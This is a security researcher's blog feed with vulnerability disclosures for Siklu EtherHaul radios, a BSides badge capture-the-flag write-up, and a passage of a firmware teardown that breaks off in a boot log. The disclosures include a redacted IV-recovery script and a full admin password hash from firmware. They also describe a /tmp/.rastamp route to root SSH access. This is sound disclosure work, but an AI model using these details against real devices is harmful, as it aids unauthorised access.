  <li><strong>Extension Offer</strong>: 2025-05-28 (No response received)</li>
  <li><strong>Public Disclosure</strong>: 2025-08-02</li>
</ul>

<h3 id="vendor-response">Vendor Response</h3>
<p>When asked for an estimated patch timeline, the vendor stated:</p>
<blockquote>
  <p>Although we cannot estimate an ETA at this stage, the topic is already under review as part of our continuous improvement approach, and steps toward enhancing it are being considered.</p>
</blockquote>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>Due to the critical nature of this vulnerability and the lack of available patches, the encryption key and full exploit code are being withheld at this time. A redacted version demonstrating the cryptographic recovery process for the IV is shown below:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>

<span class="c1"># Known values (redacted)
</span><span class="n">key_hex</span> <span class="o">=</span> <span class="sh">"</span><span class="s">&lt;REDACTED&gt;</span><span class="sh">"</span>
<span class="n">p0_hex</span>  <span class="o">=</span> <span class="sh">"</span><span class="s">0000000000000000000000ad00000000</span><span class="sh">"</span>
<span class="n">c0_hex</span>  <span class="o">=</span> <span class="sh">"</span><span class="s">3d6f17eec0524870dac244fe2e357952</span><span class="sh">"</span>

<span class="c1"># Convert to bytes
</span><span class="n">key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">key_hex</span><span class="p">)</span>
<span class="n">p0</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">p0_hex</span><span class="p">)</span>
<span class="n">c0</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">c0_hex</span><span class="p">)</span>

<span class="c1"># Decrypt first block with AES-ECB
</span><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">intermediate</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="nf">decrypt</span><span class="p">(</span><span class="n">c0</span><span class="p">)</span>

<span class="c1"># XOR with plaintext to recover IV
</span><span class="n">iv</span> <span class="o">=</span> <span class="nf">bytes</span><span class="p">([</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nf">zip</span><span class="p">(</span><span class="n">intermediate</span><span class="p">,</span> <span class="n">p0</span><span class="p">)])</span>

<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Recovered IV:</span><span class="sh">"</span><span class="p">,</span> <span class="n">iv</span><span class="p">.</span><span class="nf">hex</span><span class="p">())</span>
</code></pre></div></div>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://blog.iancaling.com/siklu-etherhaul-unauthenticated-remote-command-execution-vulnerability-7-4-0/">Original 2016 Disclosure by Ian C Lang</a></li>
  <li><a href="https://man.openbsd.org/AES_encrypt.3">OpenBSD AES_encrypt Manual</a></li>
  <li>CVE-2025-57174</li>
</ul>

<h2 id="acknowledgments">Acknowledgments</h2>

<p>Thanks to Ian C Lang for the original research that provided the foundation for this investigation.</p>

<hr />

<p><strong>Disclaimer</strong>: This disclosure is provided for educational and defensive purposes. The author is not responsible for any misuse of this information.</p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="cve" /><category term="security" /><category term="siklu" /><category term="ceragon" /><category term="etherhaul" /><category term="disclosure" /><category term="vulnerability" /><category term="CVE-2025-57174" /><summary type="html"><![CDATA[Executive Summary]]></summary></entry><entry><title type="html">BSides Adelaide 2025 Hardware Badge Writeup</title><link href="/2025/05/14/bsides-adelaide-2025-badge-writeup/" rel="alternate" type="text/html" title="BSides Adelaide 2025 Hardware Badge Writeup" /><published>2025-05-14T00:00:00+09:30</published><updated>2025-05-14T00:00:00+09:30</updated><id>/2025/05/14/bsides-adelaide-2025-badge-writeup</id><content type="html" xml:base="/2025/05/14/bsides-adelaide-2025-badge-writeup/"><![CDATA[<h2 id="overview">Overview</h2>
<p>Taking a break from the security research, I recently attended the BSides Adelaide conference and obtained a hardware badge full of challenges, this post is a write up of the various challenges and how they were solved.</p>

<p><strong>Updates:</strong> It appears my methods for several challenges worked because the words ZERO and ONE both produce a pattern as a byproduct of the words length, the correct methods were added at the end of each section but my methods were left as-is to show the problem solving approach I took</p>

<p><a href="/assets/posts/2025-05-14/badge-front.jpeg"><img src="/assets/posts/2025-05-14/badge-front.jpeg" alt="Badge Front with Labels" height="400px" /></a></p>

<h2 id="how-do-the-badge-challenges-work">How do the badge challenges work?</h2>
<p>This badge consists of 3 key components on first inspection</p>
<ul>
  <li>7x small LEDs
    <ul>
      <li>To be soldered at hardware village</li>
    </ul>
  </li>
  <li>1x RGB LED
    <ul>
      <li>Closer inspection reveals this LED only has two pins (eg. DC input)</li>
      <li>Pattern is likely random and unrelated to challenges, logic is likely inside LED itself</li>
    </ul>
  </li>
  <li>3x push buttons
    <ul>
      <li>1x Labelled <code class="language-console highlighter-rouge"><span class="go">CTF</span></code></li>
      <li>2x Labelled <code class="language-console highlighter-rouge"><span class="go">1</span></code> or <code class="language-console highlighter-rouge"><span class="go">0</span></code></li>
    </ul>
  </li>
</ul>

<p>From the badges <a href="https://www.hackerware.io/wombat2">website</a> we can find further instructions on how to use the badge and what to look for in each challenge</p>
<blockquote>
  <p>BSides Adelaide’s second conference badge with a CTF and onboard keys to play.<br /><br />
Turn on the slide switch to see the sneak preview for 3 seconds. Solve fun crypto challenges and earn your bragging rights with your badge glowing maximum LEDs.<br /><br />
To play the CTF, simply press the CTF key then type the flag in binary using switches 1 and 0.<br /><br />
Each challenge results in a binary flag. The badge registers and unlocks the challenge LEDs instantly after pressing the correct binary flag. Challenges can be solved in any order.<br /><br />
To reset the CTF progress, press and hold 1 and 0 keys at the same time for a few seconds.<br /><br />
Mysteries encountered - if any - can be exploited via 1010101010.</p>
</blockquote>

<p>In short we are looking for 10 bit binary values, which can be entered with either <code class="language-console highlighter-rouge"><span class="go">1</span></code> or <code class="language-console highlighter-rouge"><span class="go">0</span></code> buttons after pressing the <code class="language-console highlighter-rouge"><span class="go">CTF</span></code> button, if the binary was correct the LED corresponding to the challenge should light up.</p>

<h2 id="challenge-a---vocal-processor-unit-carked-it">Challenge A - Vocal Processor Unit: CARKED IT!</h2>

<blockquote>
  <p>FALKEN was meant to chuck out beaut one-liners like “Dig’s done, ya legend!” but nah - he’s gone full galah. Now he’s spittin’ out old-school telly ads from the 90s… backwards. Every time he opens his gob, he kicks off impromptu karaoke, crankin’ out disco bangers about firmware like he’s on Australia’s Got Malfunctions.<br /><br />
Status: “Oi! Now with BONUS steak knives?!”<br /><br />
Error Code: —– .—- .—- .—- .—- / .—- —– .—- —– .—-</p>
</blockquote>

<p>Looking at the “Error Code:” we can see what looks like a pattern consisting of dashes and dots, which rings bell of “Morse Code” so lets give that a shot using an online <a href="https://morsecode.world/international/translator.html">translator</a></p>

<p>This quickly confirms the theory as it neatly translates into <code class="language-console highlighter-rouge"><span class="go">01111 10101</span></code> and to confirm once entered into the badge we can see the <code class="language-console highlighter-rouge"><span class="go">A</span></code> LED light up</p>

<p><a href="/assets/posts/2025-05-14/challenge-a-decode.jpeg"><img src="/assets/posts/2025-05-14/challenge-a-decode.jpeg" alt="Morse Code Decode" height="200px" /></a></p>

<h2 id="challenge-b---memory-bank-omega-stuck-in-a-bloody-spin">Challenge B - Memory Bank Omega: STUCK IN A BLOODY SPIN</h2>
<blockquote>
  <p>FALKEN’s Memory Bank Omega was where he kept all his top-shelf brain bits - y’know, important stuff like “Don’t stack it into rocks” and “Oi, remember the good worms.” But now the poor tin can’s caught in an eternal defrag loop, like a tradie lookin’ for his smoko break that never comes. Every time it tries to sort itself out, it forgets what it was even doin’. Real headless chook behaviour.<br /><br />
Status: “Sortin’ food… wait, where’s bloody food?!”<br /><br />
Error Code: babbb aabaa baaaa abbab babbb aabaa baaaa abbab abbab abbaa aabaa babbb aabaa baaaa abbab babbb aabaa baaaa abbab abbab abbaa aabaa abbab abbaa aabaa babbb aabaa baaaa abbab abbab abbaa aabaa abbab abbaa aabaa</p>
</blockquote>

<p>Once again it looks like the “Error Code” is where we can expect the challenge to be, in this one we find a long string consisting of 35x five character sections separated by a space.</p>

<p>We also notice only two characters are in use <code class="language-console highlighter-rouge"><span class="go">a</span></code> and <code class="language-console highlighter-rouge"><span class="go">b</span></code> which could be swapped for <code class="language-console highlighter-rouge"><span class="go">1</span></code> or <code class="language-console highlighter-rouge"><span class="go">0</span></code> for a potential binary answer, applying this logic we get two versions to test</p>

<p><strong>b = 0, a = 1</strong></p>

<p><code class="language-console highlighter-rouge"><span class="go">01000 11011 01111 10010 01000 11011 01111 10010 10010 10011 11011 01000 11011 01111 10010 01000 11011 01111 10010 10010 10011 11011 10010 10011 11011 01000 11011 01111 10010 10010 10011 11011 10010 10011 11011</span></code></p>

<p><strong>b = 1, a = 0</strong></p>

<p><code class="language-console highlighter-rouge"><span class="go">10111 00100 10000 01101 10111 00100 10000 01101 01101 01100 00100 10111 00100 10000 01101 10111 00100 10000 01101 01101 01100 00100 01101 01100 00100 10111 00100 10000 01101 01101 01100 00100 01101 01100 00100</span></code></p>

<p>Using a quick tool such as <a href="https://gchq.github.io/CyberChef/#input=MDEwMDAgMTEwMTEgMDExMTEgMTAwMTAgMDEwMDAgMTEwMTEgMDExMTEgMTAwMTAgMTAwMTAgMTAwMTEgMTEwMTEgMDEwMDAgMTEwMTEgMDExMTEgMTAwMTAgMDEwMDAgMTEwMTEgMDExMTEgMTAwMTAgMTAwMTAgMTAwMTEgMTEwMTEgMTAwMTAgMTAwMTEgMTEwMTEgMDEwMDAgMTEwMTEgMDExMTEgMTAwMTAgMTAwMTAgMTAwMTEgMTEwMTEgMTAwMTAgMTAwMTEgMTEwMTE&amp;oeol=CR">CyberChef</a> with the “b = 0, a = 1” version, we discover that CyberChef has “Auto Magic” found this is a <a href="https://en.wikipedia.org/wiki/Bacon%27s_cipher">Bacon Cipher</a> which decodes into the string <code class="language-console highlighter-rouge"><span class="go">ZEROZEROONEZEROZEROONEONEZEROONEONE</span></code> which when turned into digits is our 10 bit binary answer</p>

<p><code class="language-console highlighter-rouge"><span class="go">00100 11011</span></code></p>

<p>Entering this into our badge we confirm success as the <code class="language-console highlighter-rouge"><span class="go">B</span></code> LED lights up</p>

<p><a href="/assets/posts/2025-05-14/cyber-chef-bacon-cipher.jpeg"><img src="/assets/posts/2025-05-14/cyber-chef-bacon-cipher.jpeg" alt="CyberChef Auto Magic" height="200px" /></a></p>

<h2 id="challenge-c---optic-sensor-array-seen-too-much-cobba">Challenge C - Optic Sensor Array: SEEN TOO MUCH, COBBA</h2>
<blockquote>
  <p>FALKEN was built to suss out dirt ‘n’ tree roots, right? But nah, now his peepers are pickin’ up heat from people’s deep thoughts and bloody radio stations from who-knows-where. Bloke just stares off into the void muttering, “The code… it’s alive…” like he’s seen the bottom of a goon sack and found enlightenment.<br /><br />
Status: “Mate… I’ve seen things. Codey-lookin’ things.”<br /><br />
Error Code: Codey-Lookin-Things</p>
</blockquote>

<p>This time the Error Code is a link to a picture…</p>

<p><a href="/assets/posts/2025-05-14/challenge-c.jpeg"><img src="/assets/posts/2025-05-14/challenge-c.jpeg" alt="Codey-Lookin-Things" height="200px" /></a></p>

<p>In the image we can observe some glyph like characters, my first thought was to extract if the glyph had a solid dot in the center or not, but this turned out to be a dead end, following that we can start to look for patterns in the characters.</p>

<p>For this walk through we will convert the glpyhs into normal characters</p>

<table>
  <thead>
    <tr>
      <th>Glyph</th>
      <th>Character</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><a href="/assets/posts/2025-05-14/glyph-a.jpeg"><img src="/assets/posts/2025-05-14/glyph-a.jpeg" alt="Glyph A" height="50px" /></a></td>
      <td>A</td>
    </tr>
    <tr>
      <td><a href="/assets/posts/2025-05-14/glyph-b.jpeg"><img src="/assets/posts/2025-05-14/glyph-b.jpeg" alt="Glyph B" height="50px" /></a></td>
      <td>B</td>
    </tr>
    <tr>
      <td><a href="/assets/posts/2025-05-14/glyph-c.jpeg"><img src="/assets/posts/2025-05-14/glyph-c.jpeg" alt="Glyph C" height="50px" /></a></td>
      <td>C</td>
    </tr>
    <tr>
      <td><a href="/assets/posts/2025-05-14/glyph-d.jpeg"><img src="/assets/posts/2025-05-14/glyph-d.jpeg" alt="Glyph D" height="50px" /></a></td>
      <td>D</td>
    </tr>
    <tr>
      <td><a href="/assets/posts/2025-05-14/glyph-e.jpeg"><img src="/assets/posts/2025-05-14/glyph-e.jpeg" alt="Glyph E" height="50px" /></a></td>
      <td>E</td>
    </tr>
  </tbody>
</table>

<p>With this conversion we end up with the string</p>

<p><code class="language-console highlighter-rouge"><span class="go">ABCDDEBABCDDEBABCD</span></code></p>

<p><code class="language-console highlighter-rouge"><span class="go">DEBABCDDEBCEBABCD..</span></code></p>

<p>In this string we start to notice patterns as each line ends with <code class="language-console highlighter-rouge"><span class="go">ABCD</span></code> so lets look for reoccurring strings of characters</p>

<p><code class="language-console highlighter-rouge"><span class="go">ABCD | DEB | ABCD | DEB | ABCD</span></code></p>

<p><code class="language-console highlighter-rouge"><span class="go">DEB | ABCD | DEB | DEB | ABCD</span></code></p>

<p>We now have 10 sections, which could become 10 bits? If we assign <code class="language-console highlighter-rouge"><span class="go">0</span></code> to the <code class="language-console highlighter-rouge"><span class="go">ABCD</span></code> sections and <code class="language-console highlighter-rouge"><span class="go">1</span></code> to the <code class="language-console highlighter-rouge"><span class="go">DEB</span></code> sections, we get the following binary</p>

<p><code class="language-console highlighter-rouge"><span class="go">0 | 1 | 0 | 1 | 0</span></code></p>

<p><code class="language-console highlighter-rouge"><span class="go">1 | 0 | 1 | 1 | 0</span></code></p>

<p>Entering <code class="language-console highlighter-rouge"><span class="go">01010 10110</span></code> into the badge we confirm this and find the <code class="language-console highlighter-rouge"><span class="go">C</span></code> LED light up</p>

<p><strong>Update:</strong> Turns out this is not the correct solution and instead using the Pigpen cipher it decodes directly using the <a href="https://en.wikipedia.org/wiki/Pigpen_cipher">key</a> - Thanks Dirk!</p>

<h2 id="challenge-d---temperature-regulation-node-overcompensating">Challenge D - Temperature Regulation Node: OVERCOMPENSATING</h2>
<blockquote>
  <p>Designed to maintain optimal internal conditions, the node now fluctuated between “Arctic Tundra” and “Volcanic Spa” every 45 seconds. Steam vents hissed while icicles formed on Wally’s chassis, which only added dramatic flair to his existential burrowing meltdown.<br /><br />
Status: “Am I hot? Am I cold? What even is thermal neutrality?”<br /><br />
Error Code: mrebmrebmrebbarbar mrebbarmrebbarbar</p>
</blockquote>

<p>Coming from the previous challenge, its hard to not apply the same pattern logic, we can see <code class="language-console highlighter-rouge"><span class="go">bar</span></code> is at the end of both strings, lets try to break it up with that pattern</p>

<p><code class="language-console highlighter-rouge"><span class="go">mrebmrebmreb | bar | bar mreb | bar | mreb | bar | bar</span></code></p>

<p>It would appear that <code class="language-console highlighter-rouge"><span class="go">mreb</span></code> is also another pattern, so continuing to break it up we get</p>

<p><code class="language-console highlighter-rouge"><span class="go">mreb | mreb | mreb | bar | bar | mreb | bar | mreb | bar | bar</span></code></p>

<p>Assigning <code class="language-console highlighter-rouge"><span class="go">1</span></code> to <code class="language-console highlighter-rouge"><span class="go">mreb</span></code> and <code class="language-console highlighter-rouge"><span class="go">0</span></code> to <code class="language-console highlighter-rouge"><span class="go">bar</span></code> we get <code class="language-console highlighter-rouge"><span class="go">0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 1</span></code></p>

<p>Entering <code class="language-console highlighter-rouge"><span class="go">00011 01011</span></code> into the badge we confirm the solution and see the <code class="language-console highlighter-rouge"><span class="go">D</span></code> LED light up</p>

<p><strong>Update:</strong> Turns out this is not the correct solution and instead a simple <code class="language-console highlighter-rouge"><span class="go">ROT13</span></code> is the answer which can be achieved via <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&amp;input=bXJlYm1yZWJtcmViYmFyYmFyIG1yZWJiYXJtcmViYmFyYmFy">CyberChef</a> - Thanks Kudostring!</p>

<h1 id="challenge-e---servo-cluster--engaged-in-expressive-kinetics">Challenge E - Servo Cluster : ENGAGED IN EXPRESSIVE KINETICS</h1>
<blockquote>
  <p>The back-left paw servo, in a baffling act of mechanical rebellion, has forsaken all known burrowing subroutines in favor of interpretive movement. It pirouettes with intent. It tap-dances with soul. Occasionally, it attempts a moonwalk with questionable traction. Tunnel progress? None. Hidden deep in its motion subroutines, engineers discovered a cryptic sequence labeled “br41n”-believed to be some kind of secret recipe, or perhaps just a jazz step.<br /><br />
Status: “Burrow to the beat.”<br /><br />
Error Code: ++++++++++[&gt;+&gt;+++&gt;+++++++&gt;++++++++++««-]»++++++++++++++++++….+.—————–.+++++++++++++++++….-.</p>
</blockquote>

<p>This challenge had me for a moment as I could not identify any patterns, but with modern technology we can simply consult good ol’ ChatGPT to see if it has any clues…</p>

<blockquote>
  <p>Sure! That string is <strong>Brainfuck</strong>, a minimalistic esoteric programming language.
Let’s break down what it does and find what output it produces — likely this output will help us derive the <strong>10 binary bits</strong> answer you’re seeking.</p>
</blockquote>

<p>Amazing! Unfortuantley ChatGPT struggled decode program into a working binary solution, but with a possible language at hand lets try a dedicated <a href="https://www.dcode.fr/brainfuck-language">tool</a> for the task.</p>

<p>This tool quickly produces a binary response, and entering this into the badge we confirm the solution as the <code class="language-console highlighter-rouge"><span class="go">E</span></code> LED lights up</p>

<p><a href="/assets/posts/2025-05-14/brain-fuck-decode.jpeg"><img src="/assets/posts/2025-05-14/brain-fuck-decode.jpeg" alt="Brainfuck Decode" height="200px" /></a></p>

<h2 id="challenge-f--g---navigation-gyrosphere-spinning-infinity">Challenge F &amp; G - Navigation GyroSphere: SPINNING INFINITY</h2>
<blockquote>
  <p>Designed to guide seamless subterranean turns, the Navigation GyroSphere has instead embraced a meditative state of constant rotation-affectionately dubbed “perma-spin” by the engineering team. Wally now spins in place with unwavering commitment, occasionally consulting passing squirrels for navigational wisdom. An intern was last seen flipping through the original blueprints, whispering, “Was this… always supposed to happen?”<br /><br />
Status: “Existentially unmoored. Elegantly dizzy.”<br /><br />
Error Code: <a href="https://www.hackerware.io/wombat-blueprints.zip">Wombat Blueprints</a></p>
</blockquote>

<p>This challenge we are given a link to a zip file, upon downloading and reviewing the contents we discover it appears to be the PCB design files for the badge with gerber related files.</p>

<p><a href="/assets/posts/2025-05-14/zip-contents.jpeg"><img src="/assets/posts/2025-05-14/zip-contents.jpeg" alt="ZIP File Contents" height="200px" /></a></p>

<p>Using a free online <a href="https://www.altium365.com/viewer/">viewer</a> we can upload the ZIP file to see the design, which reveals some text not seen on the badge itself</p>

<p><a href="/assets/posts/2025-05-14/pcb-layers.jpeg"><img src="/assets/posts/2025-05-14/pcb-layers.jpeg" alt="PCB Layers" height="200px" /></a></p>

<p>Stripping away the layers to only leave the yellow and blue layers, we can get a better view</p>

<p><a href="/assets/posts/2025-05-14/pcb-layers-filtered.jpeg"><img src="/assets/posts/2025-05-14/pcb-layers-filtered.jpeg" alt="PCB Layers Filtered" height="200px" /></a></p>

<p>As the text is reversed, lets flip the image and get a better look at the text</p>

<p><a href="/assets/posts/2025-05-14/pcb-text-reversed.jpeg"><img src="/assets/posts/2025-05-14/pcb-text-reversed.jpeg" alt="PCB Text Reversed" height="200px" /></a></p>

<p>At first look we notice the blue text appears to contain a incomplete binary with only 8 of the 10 bits set, leaving 4 potential combinations left, so lets try brute forcing the code starting with <code class="language-console highlighter-rouge"><span class="go">11000 11100</span></code>…. which after entering in the badge we confirm this is the answer for challenge <code class="language-console highlighter-rouge"><span class="go">G</span></code> as its LED lights up</p>

<p>Onto the last challenge, extracting the yellow text (<code class="language-console highlighter-rouge"><span class="go">eecy drwo zxi bse kovb eecy saj oyo drwo zxi</span></code>) we can see what appears to be another pattern with 10 sections separated by spaces so should be a direct answer</p>

<p>Looking past the characters themselves we notice that each section is either <code class="language-console highlighter-rouge"><span class="go">3</span></code> or <code class="language-console highlighter-rouge"><span class="go">4</span></code> characters long, so we have 2 distinct values now, lets assign <code class="language-console highlighter-rouge"><span class="go">0</span></code> to the 3 character sections, and <code class="language-console highlighter-rouge"><span class="go">1</span></code> to the 4 character sections</p>

<p><code class="language-console highlighter-rouge"><span class="go">00110 01101</span></code></p>

<p>Entering this we confirm the solution as the final LED for <code class="language-console highlighter-rouge"><span class="go">F</span></code> lights up… or is it the final LED….</p>

<p><strong>Update:</strong> Turns out this is not the correct solution and is actually a <code class="language-console highlighter-rouge"><span class="go">Vigenere</span></code> cipher with our lovely wombat’s name as the key (<code class="language-console highlighter-rouge"><span class="go">falken</span></code>) the key could also be brute forced as we can assume the words <code class="language-console highlighter-rouge"><span class="go">ZERO</span></code> and <code class="language-console highlighter-rouge"><span class="go">ONE</span></code> may be present based on previous challenged - Thanks uǝɹʍ!</p>

<p><a href="/assets/posts/2025-05-14/vigenere-decrypt.jpeg"><img src="/assets/posts/2025-05-14/vigenere-decrypt.jpeg" alt="Vigenere decrypt" height="200px" /></a></p>

<h2 id="secret-challenge">Secret Challenge</h2>
<p>When we look at the back of the badge, we notice a potentially unpopulated LED at <code class="language-console highlighter-rouge"><span class="go">D9</span></code> in the top left, in addition to being unpopulated we can observe the traces for those pads are connected to anything…</p>

<p><a href="/assets/posts/2025-05-14/badge-rear.jpeg"><img src="/assets/posts/2025-05-14/badge-rear.jpeg" alt="Badge PCB rear" height="200px" /></a></p>

<p>Generally a LED is connected with a resistor to avoid burn out, observing other sections of the board we notice the resistor at <code class="language-console highlighter-rouge"><span class="go">R11</span></code> goes to a pad thats not connected to anything…</p>

<p>What if we attach the pad from <code class="language-console highlighter-rouge"><span class="go">R11</span></code> to the <code class="language-console highlighter-rouge"><span class="go">+</span></code> pad for <code class="language-console highlighter-rouge"><span class="go">D9</span></code>, and connect the <code class="language-console highlighter-rouge"><span class="go">-</span></code> pad to a near by ground pad?</p>

<p><a href="/assets/posts/2025-05-14/badge-rear-wires.jpeg"><img src="/assets/posts/2025-05-14/badge-rear-wires.jpeg" alt="Badge PCB rear with jump wires" height="200px" /></a></p>

<p>Attaching these jump wires, the LED blinks when the badge is turned on but stays off afterwards…</p>

<p>Recalling to the original instructions, they provided another binary code we could enter</p>

<blockquote>
  <p>Mysteries encountered - if any - can be exploited via 1010101010.</p>
</blockquote>

<p>Entering this code the LED begins to give a morse code looking response, to make it easier to visualise I used a logic analyser to capture the code</p>

<p><a href="/assets/posts/2025-05-14/challenge-secret-morse.jpeg"><img src="/assets/posts/2025-05-14/challenge-secret-morse.jpeg" alt="Logic Analyser Output" height="200px" /></a></p>]]></content><author><name>Andrew</name></author><category term="conference" /><category term="hardware" /><category term="hacking" /><summary type="html"><![CDATA[Overview Taking a break from the security research, I recently attended the BSides Adelaide conference and obtained a hardware badge full of challenges, this post is a write up of the various challenges and how they were solved.]]></summary></entry><entry><title type="html">Siklu EtherHaul Series - Static Root Password</title><link href="/2025/05/01/siklu-eh-static-root-password/" rel="alternate" type="text/html" title="Siklu EtherHaul Series - Static Root Password" /><published>2025-05-01T00:00:00+09:30</published><updated>2025-05-01T00:00:00+09:30</updated><id>/2025/05/01/siklu-eh-static-root-password</id><content type="html" xml:base="/2025/05/01/siklu-eh-static-root-password/"><![CDATA[<h2 id="overview">Overview</h2>
<p>During the early stages of the investigation of the Siklu EH-8010 it became apparent the devices were using the same static root password which was previously discovered on the Siklu TG series.</p>

<p>This password was <a href="/2023/06/11/siklu-tg-auth-bypass/">previously</a> obtained from the Siklu TG firmware which used a weak md5crypt cipher and was brute forced using existing rulesets.</p>

<p>Due the sensitivity of this password, neither the hashed or complete clear text password will be provided here.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ <span class="nb">cat </span>etc/shadow
root:<span class="nv">$5$q9V</span>...aC:3::::::
admin:<span class="nv">$5$lENXgHGmWmhrHdZ0$k</span>/g0R3qsrhl3uognq1PBaMLsUSMWxJxOVhldNHrRtw6:3:0:99999:9999:::
</code></pre></div></div>

<p>The above was extracted from the latest 10.8.1 firmware, and was also observed in the 10.6.2 firmware suggesting the password has remained the same for some time.</p>

<h2 id="impact">Impact</h2>
<p>In the standard configuration the <code class="language-console highlighter-rouge"><span class="go">root</span></code> user account can not directly be used as neither the web admin interface or SSH permit directly logging in as <code class="language-console highlighter-rouge"><span class="go">root</span></code>.</p>

<p>Access to the <code class="language-console highlighter-rouge"><span class="go">root</span></code> account is normally restricted to UART (physical access required) or via the <code class="language-console highlighter-rouge"><span class="go">debug login</span></code> cli command when logged in as an admin user.</p>

<p>After successfully executing <code class="language-console highlighter-rouge"><span class="go">debug login</span></code> a <code class="language-console highlighter-rouge"><span class="go">root</span></code> shell will be created, as well as the creation of the <code class="language-console highlighter-rouge"><span class="go">/tmp/.rastamp</span></code> file which enable directly logging in as <code class="language-console highlighter-rouge"><span class="go">root</span></code> via SSH.</p>

<p>If a threat actor obtained the admin credentials this <code class="language-console highlighter-rouge"><span class="go">root</span></code> account could enable persistence and be difficult to detect, alternatively if the threat actor could utilise another vulnerability to create the <code class="language-console highlighter-rouge"><span class="go">/tmp/.rastamp</span></code> file they would have direct access to the <code class="language-console highlighter-rouge"><span class="go">root</span></code> account.</p>

<h2 id="affected-products">Affected Products</h2>

<h3 id="confirmed-vulnerable">Confirmed Vulnerable</h3>
<ul>
  <li><strong>Product</strong>: Ceragon/Siklu EtherHaul Series devices (Tested on 8010 and 1200)</li>
  <li><strong>Versions</strong>: 10.6.2, 10.7.3 (tested)</li>
  <li><strong>Likely Affected</strong>: All EtherHaul series devices running firmware 7.4.0 or later</li>
</ul>

<h3 id="patch-status">Patch Status</h3>
<p><strong>No patch available</strong> at the time of this post.</p>

<h3 id="vendor-response">Vendor Response</h3>
<p>When asked for an estimated patch timeline, the vendor stated:</p>
<blockquote>
  <p>Although we cannot estimate an ETA at this stage, the topic is already under review as part of our continuous improvement approach, and steps toward enhancing it are being considered.</p>
</blockquote>

<h2 id="references">References</h2>

<ul>
  <li><a href="/2025/04/30/siklu-eh-firmware-decryption/">Siklu EtherHaul EH-8010 Investigation</a></li>
  <li><a href="/2023/06/11/siklu-tg-auth-bypass/">Siklu TG Disclosures</a></li>
  <li>CVE-2025-57175</li>
</ul>

<hr />

<p><strong>Disclaimer</strong>: This disclosure is provided for educational and defensive purposes. The author is not responsible for any misuse of this information.</p>]]></content><author><name>Andrew</name></author><category term="research" /><category term="security" /><category term="siklu" /><category term="etherhaul" /><category term="investigation" /><category term="CVE-2025-57175" /><summary type="html"><![CDATA[Overview During the early stages of the investigation of the Siklu EH-8010 it became apparent the devices were using the same static root password which was previously discovered on the Siklu TG series.]]></summary></entry><entry><title type="html">Siklu EtherHaul 8010 - Teardown and Firmware Decryption</title><link href="/2025/04/30/siklu-eh-firmware-decryption/" rel="alternate" type="text/html" title="Siklu EtherHaul 8010 - Teardown and Firmware Decryption" /><published>2025-04-30T00:00:00+09:30</published><updated>2025-04-30T00:00:00+09:30</updated><id>/2025/04/30/siklu-eh-firmware-decryption</id><content type="html" xml:base="/2025/04/30/siklu-eh-firmware-decryption/"><![CDATA[<h2 id="overview">Overview</h2>
<p>In this post I wanted to dig into the methodology I used to understand how a vendor (Siklu) encrypts their firmware images, and from that hopefully extract the keys and reverse the process to enable easier analysis of firmware files.</p>

<p>Having physical access to a device you are attempting to analyze makes the process much easier, in the current situation without a physical device we would be stuck with an encrypted firmware file. Luckily in this instance I was able to physically obtain a piece of old hardware, and crack it open to have look at what we are dealing with.</p>

<h2 id="physical-teardown">Physical Teardown</h2>
<p>Removing the casing reveals a main PCB with 2x smaller PCBs housing the 70/80Ghz radios for vertical and horizontal, to protect my self whilst working with the device on the desk I carefully disconnected the ribbon cables to prevent any potentially dangerous RF being generated.</p>

<p>Reviewing the PCB we can see many header pins pre-soldered ready to go, some labelled JTAG which may be useful, however before we look at those we should look to see if there is an UART pins.</p>

<p>UART pins are generally clustered in groups of 4x pins (TX/RX/VCC/GND) or sometimes 3x pins (TX/RX/GND) using this logic we can identify two potential headers <code class="language-console highlighter-rouge"><span class="go">J7</span></code> and <code class="language-console highlighter-rouge"><span class="go">JM3</span></code></p>

<p>Using a multimeter and logic analyzer I was able to confirm <code class="language-console highlighter-rouge"><span class="go">J7</span></code> is the UART header running on baud 115200, with the below pin out, now that we have UART lets dig into that next.</p>

<p><strong>J7 - UART (3.3V)</strong></p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">GND | VCC
---------
RX  | TX
</span></code></pre></div></div>

<p><a href="/assets/posts/2025-04-30/eh8010-pcb-top.jpeg"><img src="/assets/posts/2025-04-30/eh8010-pcb-top.jpeg" alt="EH8010" height="400px" /></a></p>

<h2 id="uart">UART</h2>
<p>Attaching a UART/TTL to USB adapter to the identified header, we can power the device up and monitor the boot process. (full boot log available <a href="/assets/posts/2025-04-30/eh8010-boot.log">here</a>)</p>

<p>Observing the boot process we are able to confirm this device utilizes U-Boot as its bootloader, with a <code class="language-console highlighter-rouge"><span class="go">Freescale i.MX6ULL</span></code> ARMv6 CPU, and 512MiB of RAM as well as 128MiB of NAND storage.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">U-Boot 2017.11-svn25732 (Feb 11 2019 - 19:40:50 +0200)

CPU:   Freescale i.MX6ULL rev1.1 528 MHz (running at 396 MHz)
CPU:   Industrial temperature grade (-40C to 105C) at 44C
Reset cause: POR
Model: Siklu TBD
